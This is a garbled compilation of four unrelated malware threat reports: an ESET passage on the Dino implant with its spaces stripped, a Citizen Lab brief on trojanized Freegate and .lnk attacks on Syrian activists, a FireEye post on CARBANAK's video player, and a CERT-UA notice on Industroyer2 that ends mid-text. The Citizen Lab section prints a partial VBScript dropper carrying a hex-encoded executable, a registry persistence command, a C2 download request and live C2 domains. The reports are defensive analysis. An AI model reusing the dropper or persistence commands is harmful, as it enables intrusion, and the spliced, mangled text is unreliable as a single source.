FrenchspeakingDevelopers DinoaddsatleasttwomoreindicatorstothosealreadydocumentedsuggestingthatAnimalFarmdevelopers areFrenchspeaking: Dinosbinarycontainsaresourcewhoselanguagecodevalueis1036.Theoriginalpurposeofthislanguage codeistoallowdeveloperstoprovideresources(menus,icons,versioninformation)fordifferentlocations intheworldinthecorrespondinglanguage.
Interestingly,whenadeveloperdoesnotmanuallyspecifythe languagecode,thecompilersetsittothelanguageofthedevelopersmachine.
So,whichlanguage correspondstothevalue1036,or0x40cinhexadecimal?French(France).
OfcourseanonFrenchspeakingdevelopercouldhavedeliberatelysetthisvaluetomisleadattributionefforts.
ButinmorerecentAnimalFarmbinaries(forexampleCasper),thislanguagecodehasbeensettotheclassical English(USA)languagecode.
Therefore,itseemsthatAnimalFarmdevelopersforgottosetthisvalueintheir firstcreations,realizedtheirmistakeatsomepoint,anddecidedtosetastandardvalue.
Someoneusingthe languagecodeasafalseflagwouldhavelikelykeptthestrategygoing.
https://msdn.microsoft.com/en-us/library/windows/desktop/dd318693(vvs.85).aspx Fortherecord,thisDinosampleisnottheonlyAnimalFarmbinarywith1036aslanguagecode.
DinosbinaryisstaticallylinkedwiththeGnuMPlibrary,whichisusedtomanipulatebignumbersin cryptographyalgorithms.
TheGnuMPcodeinDinocontainsfilepathscomingfromthedevelopersmachine: ..\..\src\arithmetique\mpn\mul.c ..\..\src\arithmetique\printf\doprnt.c ..\..\src\arithmetique\mpn\tdiv_qr.c ..\..\src\arithmetique\mpn\mul_fft.c ..\..\src\arithmetique\mpn\get_str.c Astheattentivereaderhasprobablyguessed,arithmetiqueistheFrenchtranslationofarithmetic.
Conclusion Dinosbinaryshowsanintensedevelopmenteffort,fromcustomdatastructurestoahomemadefilesystem.
As withotherAnimalFarmbinaries,itbearsthemarkofprofessionalandexperienceddevelopers.
ButDinoalsoshowsapoorknowledge,orinterest,fromthesedevelopersinantianalysistechniquescontrary towhatwasseeninCasperasdemonstrated,forexample,bytheverbosityofsomeDinoslogmessages: AllthosemessagesprovidesubstantialhelpinunderstandingDinosinternalworkings.
Onewillalsoappreciate thenumerousmisspellingscontainedinthemessages.
RegardingDinosvictims,weknowverylittleexceptthattheywerelocatedinIranin2013.Thisisin accordancewiththevictimologydescribedbyCanadasCSEinitspresentation: https://gmplib.org/ Thatleadsustothefinalpointofthisblog:severalsignssuggestthatDinoscreatorsareFrenchspeaking developers.
Thesesignsaddtotheprettylonglistofindicatorsalreadysupportingthishypothesis,inparticular theonesmentionedbyCanadasCSE.
IndicatorsofCompromise Indicator Value SampleSHA1 BF551FBDCF5A982705C01094436883A6AD3B75BD CCURL hXXp://www.azhar.bf/modules/mod_search/found/cache/postal.php CCURL hXXp://www.rsvniima.org/templates/rsv/icons/din12/postal.php CCURL hXXp://dneprorudnoe.info/sxd/lang/i18n/charcodes/postal.php Path C:\ProgramFiles\CommonFiles\wusvcd\wusvcd.exe Defaultstoragefile names C:\ProgramFiles\CommonFiles\wusvcd\wusvcd000000000000 00000000000000000000.dax,dat,lck Downloadedfile nameextension .tmp_dwn Registrykey Software\Microsoft\Windows\Windows\CurrentVersion\Run\wusvcd AuthorJoanCalvet,ESET http://www.spiegel.de/media/media-35683.pdf https://plus.google.com/u/0/104185472052604521400/posts
1 The Citizen Lab Research Brief Number 19  June 2013 A Call to Harm: New Malware Attacks Target the Syrian Opposition Authors: John Scott-Railton and Morgan Marquis-Boire SUMMARY OF KEY FINDINGS Malware masquerading as the circumvention tool Freegate.
A campaign masquerading as a call to arms by a pro-opposition cleric.
INTRODUCTION Syrias opposition has faced persistent targeting by Pro-Government Electronic Actors (PGEAs) throughout the Syrian civil war.
A pro-government group calling itself the Syrian Electronic Army has gained visibility in recent months with high profile attacks against news organizations.
Meanwhile, Syrian activists continue to be targeted with online attacks apparently for the purposes of accessing their private communications and stealing their secrets.
Throughout 2012, attacks against the Syrian opposition were documented in an extensive series of blog posts by Morgan Marquis-Boire and Eva Galperin with the help of the Electronic Frontier Foundation.
1 Many others have also contributed to research on Syrian malware, from Telecomix to a range of security companies.
Meanwhile, the Syrian opposition, and several groups working closely with it, such as Cyber Arabs, have been active in attempting to identify potential threats and warn users.
Researchers have identified a common theme among the attacks against the Syrian opposition: sophisticated social engineering that is grounded in an awareness of the needs, interests, and weaknesses of the opposition.
Attacks often play on curiosity or ideology to encourage users to enter passwords or click on enticing files, or exploit fears of hacking and surveillance with fake security tools.
Attacks are often transmitted to potential victims from the accounts of people with whom they are familiar.
http://bits.blogs.nytimes.com/2013/05/10/details-emerge-about-syrian-electronic-armys-recent-exploits/ http://www.nytimes.com/2013/05/18/technology/financial-times-site-is-hacked.html?pagewantedall_r1 https://www.eff.org/deeplinks/2012/05/trojan-hidden-fake-revolutionary-documents-targets-syrian-activists https://www.eff.org/deeplinks/2012/03/fake-youtube-site-targets-syrian-activists-malware https://www.eff.org/deeplinks/2012/05/fake-skype-encryption-tool-targeted-syrian-activists-promises-security-delivers https://www.eff.org/deeplinks/2012/12/iinternet-back-in-syria-so-is-malware https://www.eff.org/ http://syrianmalware.com/ https://www.cyber-arabs.com/ Number 18   June 2013 2 The two attacks that are described in this blogpost follow this theme.
One is a malicious installer of the circumvention tool Freegate.
The other is an e-mail attachment calling for jihad against Hezbollah and the Assad regime or promising interesting regional news.
ATTACK 1: A HELPING OF MALWARE WITH THAT PROXY?
In this attack, which we first observed in the second week of June, the potential victim is encouraged to visit a download link containing a malicious installer of Freegate.
Freegate is a standalone circumvention-bypassing Virtual Private Network (VPN) client for Windows.
Legitimate versions of the Freegate software are available for download on its website.
While initially developed for mainland Chinese users, the software is used in a number of other countries.
While Freegate was erroneously labelled a Trojan by one anti-virus company nearly a decade ago, in this attack, attackers packaged what appears to be a legitimate version of Freegate with a malicious implant.
2 The targeted group were members of the Syrian opposition in a private social media group.
http://www.mediafire.com/download/[REDACTED]/VPN-Pro.zip When a potential victim visits the link, they are offered the download of a file which MediaFire lists as uploaded on June 15, 2013.
VPN-PRO.zip 3 Uploaded: 2013-06-15 16:54:31 The zip file extracts to a MS Windows executable file.
VPN-Pro.exe 4 http://www.dit-inc.us/freegate http://www.theregister.co.uk/2004/09/16/symantec_relabels_freegate/ Number 18   June 2013 3 The binary was compiled at 2013-06-15 22:41:31 UTC and has the following properties: LegalCopyright: Copyright  2013 Assembly Version: 1.0.0.0 InternalName: VPN-Pro.exe FileVersion: 1.0.0.0 ProductName: VPN-Pro ProductVersion: 1.0.0.0 FileDescription: VPN-Pro OriginalFilename: VPN-Pro.exe Similar to previously observed malware attacks targeting the Syrian opposition, this was written in .NET and appears to require the .NET 3.5 framework to execute.
5 When VPN-Pro.exe is run, the victim is shown the Freegate end-user license agreement (EULA) dialogue box.
6 Upon agreeing to the EULA, an operational copy of Freegate proxy is launched, which includes a request to unblock the firewall.
The copy of Freegate launched is listed as Freegate 7.35 Professional Edition.
The Freegate software begins operating, and quickly prompts the user for an update.
https://www.eff.org/deeplinks/2012/04/new-wave-facebook-phishing-attacks-targets-syrian-activists Number 18   June 2013 4 Infection In addition to running a legitimate copy of Freegate 7.35, 7 the malware installs an implant.
Number 18   June 2013 5 A fake svchost.exe is installed in the victims Application Data directory.
C:\Documents and Settings\Username\Application Data\svchost.exe Dropped files on execution of VPN-Pro.exe: Number 18   June 2013 6 Examination of the svchost.exe binary shows multiple references to ShadowTech Rat.
0000d5f0 00 53 68 61 64 6f 77 54 65 63 68 20 52 61 74 2e .ShadowTech Rat.
0000d600 65 78 65 00 53 68 61 64 6f 77 54 65 63 68 20 52 exe.
ShadowTech R 0000d610 61 74 00 3c 4d 6f 64 75 6c 65 3e 00 01 00 03 00 at.
Module..... snip 0000d6d0 04 00 56 61 6c 75 65 54 79 70 65 00 05 00 44 61 ..ValueType...Da 0000d6e0 74 61 00 53 68 61 64 6f 77 54 65 63 68 5f 52 61 ta.
ShadowTech_Ra 0000d6f0 74 00 49 53 65 72 69 61 6c 69 7a 61 62 6c 65 00 t.ISerializable.
0000d700 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 53 System.
Runtime.
S 0000d710 65 72 69 61 6c 69 7a 61 74 69 6f 6e 00 4d 79 53 erialization.
MyS 0000d720 65 74 74 69 6e 67 73 00 53 68 61 64 6f 77 54 65 ettings.
ShadowTe 0000d730 63 68 5f 52 61 74 2e 4d 79 00 41 70 70 6c 69 63 ch_Rat.
My.
Applic Examination of network traffic also identifies the implant as ShadowTech RAT.
Packet capture on port 1321/tcp: 00 01 00 00 00 ff ff ff ff 01 00 00 00 00 00 00   ................ 00 0c 02 00 00 00 45 53 68 61 64 6f 77 54 65 63   ......EShadowTec 68 20 52 61 74 2c 20 56 65 72 73 69 6f 6e 3d 31   h Rat, Version1 2e 30 2e 30 2e 30 2c 20 43 75 6c 74 75 72 65 3d   .0.0.0, Culture 6e 65 75 74 72 61 6c 2c 20 50 75 62 6c 69 63 4b   neutral, PublicK 65 79 54 6f 6b 65 6e 3d 6e 75 6c 6c 05 01 00 00   eyTokennull.... 00 13 53 68 61 64 6f 77 54 65 63 68 5f 52 61 74   ..ShadowTech_Rat 2e 44 61 74 61 03 00 00 00 04 64 61 74 61 05 69   .Data.....data.i 6d 61 67 65 05 62 79 74 65 73 01 02 02 02 00 00   mage.bytes...... 00 06 03 00 00 00 64 31 30 32 36 32 32 30 32 31   ......d102622021 46 32 30 30 33 32 34 30 33 30 30 33 36 32 44 36   F2003240300362D6 34 33 38 30 42 34 33 35 37 31 30 31 36 33 31 33   4380B43571016313 44 33 39 30 30 32 45 32 31 30 36 30 38 30 43 30   D39002E2106080C0 46 32 35 33 38 30 37 30 38 30 35 37 41 37 35 33   F25380708057A753 33 30 44 37 37 32 36 33 35 33 31 36 39 33 45 34   30D77263531693E4 34 37 45 31 35 35 38 37 38 35 43 0a 0a 0b         47E1558785C... ShadowTech Rat is a Remote Access Trojan which appears to be widely available for download on both English and Arabic language sites.
Videos can be found on YouTube demonstrating its functionality.
The tool offers a range of options to the attacker, from keylogging and remote activation of the webcam to file exfiltration.
http://www.youtube.com/watch?vQ5cT3YHKVsY Number 18   June 2013 7 ShadowTech RAT control console: File Date Countries of Submission svchost.exe 2013-06-15 23:08:19 UTC Saudi Arabia Number 18   June 2013 8 Both VPN-Pro.exe and svhost.exe have been submitted to VirusTotal: Both have relatively low detection rates by anti-virus software.
As of June 20, 2013, svchost.exe was only detected by four out of 47 tested anti-virus programs, while VPN-Pro.exe was only detected by five out of 46.
The svchost.exe initiates an outbound connection to a command and control (C2) server hosted at thejoe.publicvm.com.
This domain resolves to an address inside Syrian IP space:  31.9.48.119.
inetnum:      31.9.0.0 - 31.9.127.255 netname:      SY-ISP-TARASSUL VPN-Pro.exe 2013-06-15 22:45:33 UTC Turkey, Saudi Arabia, Morocco Number 18   June 2013 9 descr:        Tarassul inetnet Service Provider country:      SY This is not the first time that malicious installer packages have been created for circumvention tools.
In 2012, malicious installers for Green Simurgha standalone proxy intended for Iranian users but also used by some Syrianswere found in circulation.
The creators of Green Simurgh responded by posting a prominent warning on their website highlighting the presence of these malicious installers.
Last year, malware which purported to be the Tor Browser Bundle was found in the wild.
It was found to be backdoored by Gh0st RAT and exfiltrated data to an IP in China.
An attack using a malicious installer of a working and reputable security or proxy tool is especially pernicious as it targets users who likely recognize the importance of privacy and circumvention, and may believe that they have increased their privacy and security by installing the tool.
ATTACK 2: A TARGETED CALL TO ARMS In this campaign, contact with targets was initiated through phishing e-mails, chat messages and Facebook posts.
Although we became aware of this campaign in early June, we have evidence that it may have started as early as January 2013.
We believe that this campaign targetedat least in parthigh-profile members of the Syrian opposition.
Interestingly, the attack included targeting of at least one non-public address associated with internal opposition communications.
This indicates some degree of prior penetration of the opposition either through computer network intrusion or other intelligence gathering activities.
The potential victim in this attack first receives a message from an unknown source, in this case, a Gmail account with a nondescript name.
Example e-mail: https://citizenlab.org/2012/05/iranian-anti-censorship-software-simurgh-circulated-with-malicious-backdoor-2/ https://simurghesabz.net/ https://www.virustotal.com/en/file/bd970e0d63cd3abeb10ab2b0b82f33065be7f4b440564a24c6e19724f643a133/analysis/ Number 18   June 2013 10 The e-mail contains text, an image (not shown), and an attachment.
The text refers to a video of Sheikh Adnan al-Aroura Sunni pro-opposition clericbased in Saudi Arabia, calling for holy war against Assad and Hezbollah.
The user is led to believe that opening the zip file, which is descriptively titled as being the Sheikhs opinion, will provide access to the video.
While we have identified multiple different attacks with different zip files, the structure of all of these is consistent with the example described here.
Example zip files: zip9.
zip.
zip.
zip.
The zip file extracts to a Windows Shortcut file with the same name and a .lnk extension.
Example .lnk file Sample A: lnk.
https://citizenlab.org/wp-admin/post.php?post20180actionedit9 Number 18   June 2013 11 Parsing these files reveals a URL embedded in the the file (bolded below).
Parsing Sample A: source path/filename: 1file modified: 06/16/2013 16:49:04 [UTC] file accessed: 06/19/2013 22:00:22 [UTC] file created: 06/19/2013 22:00:22 [UTC] Target flags: HasLinkTargetIDList, HasLinkInfo, HasRelativePath, Has WorkingDir, HasArguments, HasIconLocation, IsUnicode, DisableLinkPathTracking Target attributes: FILE_ATTRIBUTE_ARCHIVE Target modified: 07/17/2012 22:58:51.981 [UTC] Target accessed: 07/17/2012 22:58:51.981 [UTC] Target created: 07/17/2012 22:58:51.981 [UTC] Target ObjID time: 12/27/2012 10:55:02.540 [UTC] File offset: 0x00000000 [0] Parsed size: 0x000005b2 [1458 bytes] Target file size: 0x00003000 [12288 bytes] Show cmd: [SW_SHOWNORMAL] ID List: CLSID_MyComputer\C:\Windows\System32\mshta.exe Volume Type: fixed Volume serial num: 7203-8b23 Volume label:  : C Local base path: C:\Windows\System32\mshta.exe Relative path: ..\..\..\Windows\System32\mshta.exe Working directory: C:\Windows\system32 Cmdline args: http://[REDACTED]?urlhttp://www.youtube.com/watch?vjDkluDCn7fA Icon filename: SystemRoot\system32\SHELL32.dll Special Folder ID: CSIDL_SYSTEM Known Folder ID: 1ac14e77-02e7-4e5d-b744-2eb1ae5198b7 NETBIOS name: xp-pc Volume ID: 32035a92-7032-4de3-846f-ed880ad23fa7 Object ID: dd81bda8-5013-11e2-ab13-c0f8da734a02 MAC address: c0:f8:da:73:4a:02 format ID [value]: b725f130-47ef-101a-a5f1-02608c9eebac [mshta.exe\] format ID [value]: 46588ae2-4cbc-4338-bbfc-139326986dce [S-1-5-21-1348441612- 1947693625-1007466904-1000] format ID [value]: dabd30ed-0043-4789-a7f8-d013a4736622 [System32 (C:\Windows)] format ID [value]: 28636aa6-953d-11d2-b5d6-00c04fd918d0 [C:\Windows\System32\mshta.exe] When the victim executes the Windows shortcut, they are directed to one of several malicious links depending on the zipfile that they were sent.
These are visible in the link parsing.
Number 18   June 2013 12 Links embedded in the Windows shortcut: Link Sample A (active) http://[REDACTED]om/g.php?urlhttp://www.youtube.com/watch?vjDkluDCn7fA Link Sample B (defunct) http://google-panel.html- 5.me/g.php?urlhttp://www.youtube.com/watch?vUw3Ny2A1WvQ Link Sample C (defunct) http://for- google.allalla.com/u.php?urlhttp://www.alkalimaonline.com/news.php?id118868 The victim is then shown either a YouTube video featuring Sheikh Adnan al-Arour, or a story on http://www.alkalimaonline.com, a Lebanese news site.
Example of YouTube video shown to victim: Number 18   June 2013 13 The Malware While the victim sees the decoy YouTube video or news website, a php file (g.php) that contains a hex- encoded malicious binary is fetched.
Excerpt from G.php: 10 Please wait .. script languagejavascript document.location /scriptHTML script languagevbs Set oCreateObject(Scripting.
FileSystemObject) Set sCreateObject(WScript.
Shell) po.
GetSpecialFolder(2)\1.exe tsplit(4D,5A,90,0,3,0,0,0,4,0,0,0,FF,FF,0,0,B8,0,0,0,0,0,0,0,40,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,80,0,0,0,E,1F,BA,E,0,B4, 9,CD,21,B8,1,4C,CD,21,54,68,69,73,20,70,72,6F,67,72,61,6D,20,63,61,6E,6E,6F,74,2 0,62,65,20,72,75,6E,20,69,6E,20,44,4F,53,20,6D,6F,64,65,2E,D,D,A,24,0,0,0,0,0,0, 0,50,45,0,0,4C,1,3,0,44,20,B6,51,0,0,0,0,0,0,0,0,E0,0,2,1,B,1,8,0,0,CC,1,0,0,8,0 Number 18   June 2013 14 ,0,0,0,0,0,3E,EA,1,0,0,20,0,0,0,0,0,0,0,0,40,0,0,20,0, SNIP SNIP SNIP SNIP SNIP SNIP SNIP SNIP Once extracted, the binary 11 of Sample A has the following properties: Build Date          [Mon Jun 10 18:51:48 2013 UTC] Comments            This installation was built with Inno Setup.
FileDescription     Session Disconnection Utility The malware also adds a registry key to make it persistent across reboots: reg add HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon /v Shell /d C:\WINDOWS\explorer.exe, C:\Documents and Settings\user\Local Settings\Temp\atiapfxx.exe /f The malware contains strings referring to Data Protector v2 which appears to refer a crypter that is compatible with a range of RATs and advertised for download in a number of forums.
12 C:\Users\John\Documents\Visual Studio 2012\Projects\Data Protector v2\atiapfxx\atiapfxx\bin\Release\Obfuscated\atiapfxx.pdb Command and Control Once the malware is successfully installed on the victims computer, it communicates with a C2 server at: tn5.linkpc.net On June 11, this pointed to the following SyriaTel address: Domain: tn5.linkpc.net IP: 94.252.198.112 netnum:    94.252.192.0 - 94.252.255.255 netname:   SY-SYRIATEL-MOBILE Number 18   June 2013 15 descr:     Syriatel 3G country:   SY This domain has been active since at least October 2012 and has pointed to many different addresses in Syrian IP space on both the SyriaTel and Tarassul ISPs, as well as AnchorFree VPN addresses.
The malware attempts to download a remote file called 123.functions: GET /123.functions HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 7.0 Windows NT 5.1 (R1 1.5) .NET4.0C .NET4.0E .NET CLR 1.1.4322 .NET CLR 2.0.50727 .NET CLR 3.0.04506.30) Host: tn5.linkpc.net:81 It was not possible to retrieve the remote file at the time of analysis.
CONCLUSIONS As the conflict in Syria drags on, digital campaigns targeting Syrian opposition have persisted.
We have chosen to highlight two attacks that are part of recent efforts by Pro-Government Electronic Actors to compromise opposition communications and steal their secrets.
These attacks cater to the oppositions communication behaviors and tactics.
They are indicative of a combination of prior intelligence about the opposition, and ingenuity in social engineering.
For example, many in the Syrian opposition are now aware of the electronic threats they face and seek out tools to increase their communications security and privacy.
Tools and information about security and communications are in constant circulation.
Some of this material addresses well-defined vulnerabilities.
We have observed a greater degree of care among many in the opposition when facing certain situations that were common attack modalities in 2012.
As awareness grows and behavior evolves, we suspect that some of the attacks that we regularly observed in 2012 are much less successful today.
Some of the information and practices that are shared between users, however, are much less appropriate, even inadvertently dangerous.
For example, many legitimate tools are shared via third party file sharing sites or over social media.
This situation presents a rich variety of targets for attackers in which to seed malicious binaries and links masquerading as familiar or desirable tools.
We infer that from the point of view of these attackers, not all attacks need to have sophisticated malware in order to be successful enough to be worth doing.
Yet, perhaps in response to the growing awareness of previous and often widely targeted attacks against the Syrian opposition, attackers continue to innovate and Number 18   June 2013 16 experiment with new techniques that blend social engineering with new attack styles.
The experiments are sometimes clearly successful.
For example, in the case of Attack 2, the Windows shortcut files were not conclusively identified as malicious by even savvy opposition members for an extended period of time.
We hope that this post will increase awareness of the two attacks among potential targets.
In the meantime, users who have executed either the fake Freegate file or clicked on one of the Windows shortcut files should consider their computers and accounts compromised.
APPENDIX: RECOMMENDATIONS FOR FREEGATE AND FREEGATE USERS The Freegate website is blocked in China (its primary target market), as is the case with other similar circumvention tools.
To get around blocking, tools are often distributed between individuals, or through untrusted downloads from third party sites.
This is an unfortunate vector for attackers to distribute malicious installers and bundles that also contain functional versions of the program.
As demonstrated by our work on the Freegate malware, as well as the Green Simurgh case, these vulnerabilities are exploited with serious consequences for high-risk users.
We understand the resource constraints that developers of free security and circumvention software often face.
As such, we propose two simple steps that Freegate could take to help mitigate the current and similar future threats.
1) Freegate should take steps to make their users aware of the threat.
We provided Freegate developers with details of the attack, copies of the malicious binary, and other details prior to publication.
We would like to point them towards the example established by Green Simurgh, who promptly posted a multilingual warning to their website when a malicious repackaging of their tool was found to be targeting Syrian users.
We have offered to help them translate any warning materials into Arabic.
2) Freegate should implement by-default HTTPS on their website.
Currently, visitors to the Freegate website follow non-HTTPS links to an unencrypted download.
We believe that this presents a clear risk for man-in-the-middle attacks.
Most developers of similar anti- censorship, circumvention, and security tools have implemented this security measure.
We encourage Freegate to follow suit.
ACKNOWLEDGEMENTS Special thanks to several anonymous Syrians who brought these malware samples to our attention.
Additional thanks to Bill Marczak, Byron Sonne, Adam Senft, and Ron Deibert.
_______________________________________
Number 18   June 2013 17 Footnotes 1 State-Sponsored Malware, Electronic Frontier Foundation, https://www.eff.org/issues/state-sponsored- malware.
2 We notified Freegate on June 17, 2013.
3 MD5 b3e1c2e40be54fbc0f7921ea8ce807e2 SHA1 3f6436420e84ac96d9a3c93045c07cdadda8ec81 SHA256 3712907740045871eef218fea7292c9c017e64cbb56b193b93f1a1b80afe599d 4 MD5 8eda7dfa4ec4ac975bb12d2a3186bbeb SHA1 b5c49bbbf7499a30110adc94480b3edbc8d6e92b SHA256 829e137279f691e493c211108b62c8e15b079bd619ba19ad388450878e0585d0 5 It failed to execute with .NET 4.0 on Windows XP.
6 The implant is installed regardless of whether or not the victim completes the FreeGate installation process.
7 The file fg735p.exe matches the hash of a legitimate FreeGate installer.
MD5 b083418be502162a4e248faab363f1b9 SHA1 030937f008bc203198e3754b1b54bb6d8d72794b SHA256 d6ded89b91cdcd5d9ad4f6453f38f04f11f608d8db77db09e7400cfd7bcecddf 8 MD5 2ba789458781b1dfd7f34624c8410edb SHA1 77fd62d8e630e74d637682b91d0952d48b7c52be SHA256 80b3fa8113a89040048a87c63ab9d8117368f2579368f5ea5999b145c47c4490 9 MD5 59c6e0fa61d62a1f52b6092dc92a4aa7 SHA1 fce82013dbb9261db8b14451122fa889dfdba2e0 SHA256 71cb3e1007da3193c89a532b275cf539730b25bd63bcc5e912503ddd4bc9097f 10 MD5 61a26c391aa95084521f5c0f6f70b966 SHA1 bd901cf02778d5c76dfe7c2877d773baa5bae5a7 SHA256 2c7600e0e660b0788faf5f5de3c10ac257000a557278eba41d3e7ec6175f22fb 11 MD5 00cc589571fa6e078cb92b34ea2ee1cc SHA1 bfe30069998c5e4c43f98f17538678074d02ca3d SHA256 bcf32f82f0971c8984bb493f5473f0f417c203c0484c80a772ee1165a8c7675d 12 For example, see: http://undercrypter.blogspot.de/2013/03/blog-post.html.
https://www.eff.org/issues/state-sponsored-malware https://www.eff.org/issues/state-sponsored-malware http://undercrypter.blogspot.de/2013/03/blog-post.html
CARBANAK Week Part Four: The CARBANAK Desktop Video Player fireeye.com/blog/threat-research/2019/04/carbanak-week-part-four-desktop-video-player.html Part One, Part Two and Part Three of CARBANAK Week are behind us.
In this final blog post, we dive into one of the more interesting tools that is part of the CARBANAK toolset.
The CARBANAK authors wrote their own video player and we happened to come across an interesting video capture from CARBANAK of a network operator preparing for an offensive engagement.
Can we replay it?
About the Video Player The CARBANAK backdoor is capable of recording video of the victims desktop.
Attackers reportedly viewed recorded desktop videos to gain an understanding of the operational workflow of employees working at targeted banks, allowing them to successfully insert fraudulent transactions that remained undetected by the banks verification processes.
As mentioned in a previous blog post announcing the arrest of several FIN7 members, the video data file format and the player used to view the videos appeared to be custom written.
The video player, shown in Figure 1, and the C2 server for the bots were designed to work together as a pair.
1/7 https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-four-desktop-video-player.html https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-one-a-rare-occurrence.html https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-two-continuing-source-code-analysis.html https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-three-behind-the-backdoor.html https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html Figure 1: CARBANAK desktop video player The C2 server wraps video stream data received from a CARBANAK bot in a custom video file format that the video player understands, and writes these video files to a location on disk based on a convention assumed by the video player.
The StreamVideo constructor shown in Figure 2 creates a new video file that will be populated with the video capture data received from a CARBANAK bot, prepending a header that includes the signature TAG, timestamp data, and the IP address of the infected host.
This code is part of the C2 server project.
2/7 Figure 2: carbanak\server\Server\Stream.cs  Code snippet from the C2 server that serializes video data to file Figure 3 shows the LoadVideo function that is part of the video player project.
It validates the file type by looking for the TAG signature, then reads the timestamp values and IP address just as they were written by the C2 server code in Figure 2.
3/7 Figure 3: carbanak\server\Player\Video.cs  Player code that loads a video file created by the C2 server Video files have the extension .frm as shown in Figure 4 and Figure 5.
The C2 servers CreateStreamVideo function shown in Figure 4 formats a file path following a convention defined in the MakeStreamFileName function, and then calls the StreamVideo constructor from Figure 2.
Figure 4: carbanak\server\Server\RecordFromBot.cs  Function in the C2 server that formats a video file name and adds the extension frm The video player code snippet shown in Figure 5 follows video file path convention, searching all video file directories for files with the extension .frm that have begin and end timestamps that fall within the range of the DateTime variable dt.
4/7 Figure 5: carbanak\server\Player\Video.cs  Snippet from Player code that searches for video files with frm extension An Interesting Video We came across several video files, but only some were compatible with this video player.
After some analysis, it was discovered that there are at least two different versions of the video file format, one with compressed video data and the other is raw.
After some slight adjustments to the video processing code, both formats are now supported and we can play all videos.
Figure 6 shows an image from one of these videos in which the person being watched appears to be testing post-exploitation commands and ensuring they remain undetected by certain security monitoring tools.
5/7 Figure 6: Screenshot of video playback captured by CARBANAK video capability The list of commands in the figure centers around persistence, screenshot creation, and launching various payloads.
Red teamers often maintain such generic notes and command snippets for accomplishing various tasks like persisting, escalating, laterally moving, etc.
An extreme example of this is Ben Clarks book RTFM.
In advance of an operation, it is customary to tailor the file names, registry value names, directories, and other parameters to afford better cover and prevent blue teams from drawing inferences based on methodology.
Furthermore, Windows behavior sometimes yields surprises, such as value length limitations, unexpected interactions between payloads and specific persistence mechanisms, and so on.
It is in the interest of the attacker to perform a dry run and ensure that unanticipated issues do not jeopardize the access that was gained.
The person being monitored via CARBANAK in this video appears to be a network operator preparing for attack.
This could either be because the operator was testing CARBANAK, or because they were being monitored.
The CARBANAK builder and other interfaces are never shown, and the operator is seen preparing several publicly available tools and tactics.
While purely speculation, it is possible that this was an employee of the front company Combi Security which we now know was operated by FIN7 to recruit potentially unwitting 6/7 https://www.amazon.com/Rtfm-Red-Team-Field-Manual/dp/1494295504 https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html operators.
Furthermore, it could be the case that FIN7 used CARBANAKs tinymet command to spawn Meterpreter instances and give unwitting operators access to targets using publicly available tools under the false premise of a penetration test.
Conclusion This final installment concludes our four-part series, lovingly dubbed CARBANAK Week.
To recap, we have shared at length many details concerning our experience as reverse engineers who, after spending dozens of hours reverse engineering a large, complex family of malware, happened upon the source code and toolset for the malware.
This is something that rarely ever happens We hope this weeks lengthy addendum to FireEyes continued CARBANAK research has been interesting and helpful to the broader security community in examining the functionalities of the framework and some of the design considerations that went into its development.
So far we have received lots of positive feedback about our discovery of the source code and our recent expos of the CARBANAK ecosystem.
It is worth highlighting that much of what we discussed in CARBANAK Week was originally covered in our FireEyes Cyber Defense Summit 2018 presentation titled Hello, Carbanak, which is freely available to watch online (a must-see for malware and lederhosen enthusiasts alike).
You can expect similar topics and an electrifying array of other malware analysis, incident response, forensic investigation and threat intelligence discussions at FireEyes upcoming Cyber Defense Summit 2019, held Oct. 7 to Oct. 10, 2019, in Washington, D.C. 7/7 https://www.fireeye.com/content/fireeye-summit/en_US/learn/tracks.htmltechnical-4 https://videoshare.fireeye.com/watch/DdYPsctgEQQTK3yh971o8s https://summit.fireeye.com/ CARBANAK Week Part Four: The CARBANAK Desktop Video Player About the Video Player An Interesting Video Conclusion
1/3 CERT-UA cert.gov.ua/article/39518 general information The Governmental Computer Emergency Response Team of Ukraine CERT-UA has taken urgent measures to respond to an information security incident related to a targeted attack on Ukraines energy facility.
The idea of   the attackers involved the decommissioning of several infrastructural elements of the object of attack, namely: high-voltage electrical substations - using the malicious program INDUSTROYER2 moreover, each executable file contained a statically specified set of unique parameters for the respective substations (file compilation date: 23.03.2022) electronic computers (computers) running the Windows operating system (user computers, servers, as well as automated workstations ACS TP) - using the malicious program-destructor CADDYWIPER in this case, the decryption and launch of the latter involves the use of the ARGUEPATCH loader and the TAILJUMP silkcode server equipment running Linux operating systems - using malicious destructive scripts ORCSHRED, SOLOSHRED, AWFULSHRED active network equipment.
Centralized distribution and launch of CADDYWIPER is implemented through the Group Policy Mechanism (GPO).
The POWERGAP PowerShell script was used to add a Group Policy that downloads file destructor components from a domain controller and creates a scheduled task on a computer.
The ability to move horizontally between segments of the local area network is provided by creating chains of SSH tunnels.
IMPACKET is used for remote execution of commands.
It is known that the victim organization suffered two waves of attacks.
The initial compromise took place no later than February 2022.
The disconnection of electrical substations and the decommissioning of the companys infrastructure was scheduled for Friday evening, April 8, 2022.
At the same time, the implementation of the malicious plan has so far been prevented.
,
TLP:AMBER, ,    Yara-, .
Microsoft  ESET.
